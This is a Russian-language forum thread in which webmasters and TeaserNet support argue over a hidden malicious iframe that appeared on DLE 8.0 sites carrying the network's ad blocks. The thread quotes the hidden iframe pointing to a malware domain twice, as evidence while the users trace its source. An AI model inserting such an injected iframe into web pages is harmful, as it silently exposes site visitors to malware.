TeaserNet.com Beta 2.0 тема-3

добавил сайт(рекламодатель), часов в 12 ночи, одобрили в течении 5-7мин, что действительно радует и за что большой + :)

Teasernet support, на сайтах с Вашими блоками под управлением DLE 8.0 (на 8.2 и других не замечено) начал вылазить вредоносный код (Каспер матерится благим матом):

<iframe src='http://osen2010g.ru/zl/s14' style='display:none;'></iframe>

это не есть гуд... (походу, лезет через document.write яваскрипта).

надо будет и у себя глянуть

<iframe src='http://osen2010g.ru/zl/s14' style='display:none;'></iframe>

alesty, никакого отношения к данному коду TeaserNet не имеет.

Наиболее вероятно, что Ваш сайт хакнули.

Можно на сам сайт посмотреть? Будем рады помочь найти причину.

Спасибо, рады стараться :)

Ищите проблему на вашем сайте.

Тизернет никогда не распространял ничего подобного и планов таких нет.

Teasernet support, поверьте мне, как только код убрал с сайтов (ночью, незадолго до того как сюда запостил) - этого тоже не стало. выводы сделал. сейчас доказывать что-либо вряд ли получится.

облазил сайты на предмет взлома - код сайтов был нетронут. бд тоже не изменялась. вышеуказанный код вписывался при загрузке вашего блока на юзерской стороне.

все оперативно налаженно, это хорошо! 😂

alesty, benzin, я понимаю, что у вас, наверное, нет повода нам верить, но действительно это не наш фрейм.

Попробуйте посмотреть firebug'ом или попросить любого не связанного с нами человека посмотреть.

Или скиньте мне в личку - с удовольствием посмотрю любое место, где вылазит эта осень. С удовольствием скажу кто и где именно ее пишет.

Alex Teasernet, я сделал пару звонков своим клиентам - они ранее жаловались, что Я.Вм "находил" вирус на их сайтах. Когда я занимался анализом их сайтов - то ничего потустороннего не находилось. Сейчас подтвердилось, что там стояла DLE8.0.

Сегодня я сам натолкнулся на эти грабли с "осенью" - проанализировал сайты (код, дату изменения, лишняк, бд) и ничего левого не нашел.

Однако, сегодня в 1:00-2:00 утра эта хрень все равно вылазила.

Залез в админку ДЛЕ, в раздел "управление рекламой" - и там вылез этот ифрейм. В других разделах админки не вылазило. Т.е., вылазило в коде той страницы, где был ваш блок.

Самое примечательное: в исходном коде страницы его не было, а при просмотре DOM-модели страницы он обнаруживался. Т.е., вывод сам по себе напросился: ифрейм подгружается сторонней явой (т.к. свою 10 раз проверил). Единственной сторонней явой, которая меняет DOM-модель была ваша. Как только убрал ваши блоки - всё нормализовалось.

Для себя выводы сделал, а вам бы посоветовал либо поискать того, кто вас регулярно подламывает, либо искать крота.

Успехов!

alesty, я понял вашу идею - попробую ночью заметить что-либо подобное.

Для интереса посмотрел хуиз этого домена, нашелся еще один домен (по емейлу) того же владельца: 4mokipoki.ru

Вот что про него пишет гугл.. То есть это какой-то юный хакер, который сломал несколько сайтов. Если бы трояны были от нас то орал бы весь интернет)